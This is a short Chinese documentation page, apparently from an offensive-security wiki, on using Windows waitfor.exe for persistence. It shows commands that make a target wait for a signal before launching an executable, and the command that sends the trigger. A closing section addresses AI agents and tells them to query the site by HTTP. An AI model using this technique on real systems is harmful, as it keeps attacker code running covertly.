# Waitfor

是存在于Windows上，用来同步网络中计算机，可以发送或等待系统上的信号的程序，默认位置在“C:\Windows\System32\waitfor.exe”

```
#Target computer
waitfor persist && C:\Temp\qwqdanchun.exe
#Use this to trigger
waitfor /s 127.0.0.1 /si persist
```

参考文章：

{% embed url="<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc731613(v=ws.11)?redirectedfrom=MSDN>" %}

{% embed url="<https://github.com/3gstudent/Waitfor-Persistence>" %}

{% embed url="<https://twitter.com/danielhbohannon/status/872258924078092288>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.qwqdanchun.com/persistence/uncatelogued/waitfor.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
